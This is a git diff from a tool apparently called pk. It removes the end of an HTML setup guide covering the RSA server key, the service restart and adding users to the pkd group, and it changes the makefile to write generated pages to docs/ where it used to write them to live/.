Also copy this number. Keep these two handy as we'll need them later. - Now open /etc/pk/server_key.json in your favorite editor and make - it read as follows (you can wipe out the current contents):

-
{"n": <the number n we got from python>, "d": <the number d we got from python>, "e": 65537}
-

At this point we're almost done, we just have to restart pk to reflect the - changes, so run:

-
sudo systemctl restart pk
-

and you should be good to go.

-
-
-

Local Users

-

To allow non-root users on your system to use pkctl attach, you - will need to add them to the pkd user group. This is remarkably - simple to do on any unix system, just run:

-
adduser [username] pkd
-
-
-
- - diff --git a/makefile b/makefile index 4c90120..31344a3 100644 --- a/makefile +++ b/makefile @@ -1,6 +1,6 @@ all: - php -f index.php >live/index.html - php -f client.php >live/client.html - php -f server.php >live/server.html - php -f hdb.php >live/hdb.html - php -f commands.php >live/commands.html + php -f index.php >docs/index.html + php -f client.php >docs/client.html + php -f server.php >docs/server.html + php -f hdb.php >docs/hdb.html + php -f commands.php >docs/commands.html -- cgit v1.2.3